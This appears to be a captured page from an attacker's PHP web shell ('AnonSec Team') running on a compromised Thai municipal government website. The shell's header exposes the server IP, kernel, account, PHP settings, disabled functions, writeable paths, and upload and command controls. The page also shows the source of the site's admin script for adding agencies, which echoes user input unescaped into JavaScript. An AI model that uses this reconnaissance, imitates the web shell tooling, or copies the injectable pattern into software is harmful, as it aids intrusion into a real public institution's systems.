NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.144.16.26
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/public_html/admin/data/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/public_html/admin/data/action/save-Agency-adddata.php
<?php
require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
date_default_timezone_set("Asia/Bangkok"); 
$datetime = date('d/m/Y H.i'); 

if($STT_login=="admin_login_true"){

    if( !isset($_POST['txt_id']) or !isset($_POST['txt_name']) ){
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณากรอกข้อมูลให้ครบ');
                window.location.replace(document.referrer);
            </SCRIPT>";
        exit;
    }else{

        $data_id_agency = trim($con_db_administrator->real_escape_string($_POST['txt_id']));
        $data_name_agency = trim($con_db_administrator->real_escape_string($_POST['txt_name']));
        $data_data_agency = $con_db_administrator->real_escape_string($_POST['txt_data']);
        $data_statusshow = $con_db_administrator->real_escape_string($_POST['statusshow']);
    
        // echo $data_id_agency;
        
        $sql_check_idagency = " SELECT COUNT(*) FROM `data_agency` WHERE `id_agency`='$data_id_agency' ";
        $qr_check_idagency = mysqli_query($con_db_administrator, $sql_check_idagency) or trigger_error("sql_check_agency", E_USER_ERROR);
        $r_check_idagency = mysqli_fetch_row($qr_check_idagency);
        $rs_check_idagency = $r_check_idagency[0];    

        if($rs_check_idagency  >= 1){
                echo "<SCRIPT type='text/javascript'>
                        alert('ลำดับหน่วยงานซ้ำ');
                        window.history.go(-1);
                    </SCRIPT>";
                exit;
        }else{
                $sql_check_agency = " SELECT COUNT(*) FROM `data_agency` WHERE `name_agency` = '$data_name_agency' ";
                $qr_check_agency = mysqli_query($con_db_administrator, $sql_check_agency) or trigger_error("sql_check_agency", E_USER_ERROR);
                $r_check_agency = mysqli_fetch_row($qr_check_agency);
                $rs_check_agency = $r_check_agency[0];   
                if($rs_check_agency >= 1){
                    echo "<SCRIPT type='text/javascript'>
                            alert('ชื่อหน่วยงานซ้ำ');
                            window.history.go(-1);
                        </SCRIPT>";
                    exit;
                }else{ 
                    /////// insert DATA to SQL

                    $insert_agency = " INSERT INTO `data_agency`(`id_agency`, `name_agency`, `data_agency`, `stt_agency`, `lastupdate_agency`) 
                                        VALUES ( '$data_id_agency', '$data_name_agency', '$data_data_agency','$data_statusshow','$datetime' )";
                    $action_agency = $con_db_administrator->query($insert_agency);
                    if(!$action_agency){
                        echo "<SCRIPT type='text/javascript'>
                                alert('เพิ่มข้อมูลหน่วยงาน ไม่สำเร็จ กรุณาลองอีกครั้ง');
                                window.location.replace('../Agency');
                            </SCRIPT>";
                        exit;
                    }else{
                        echo "<SCRIPT type='text/javascript'>
                                alert('เพิ่มข้อมูลหน่วยงาน สำเร็จ');
                                window.location.replace('../Agency-edit?id=$data_id_agency&name=$data_name_agency');
                            </SCRIPT>";
                        exit;
                    }

                }
        }
    }
}else{
    echo "<SCRIPT type='text/javascript'>
        alert('กรุณาเข้าสู่ระบบ');
        window.location.replace('../../index');
    </SCRIPT>";
    exit;
}
mysqli_close($con_db_administrator);
?>

Anon7 - 2022
AnonSec Team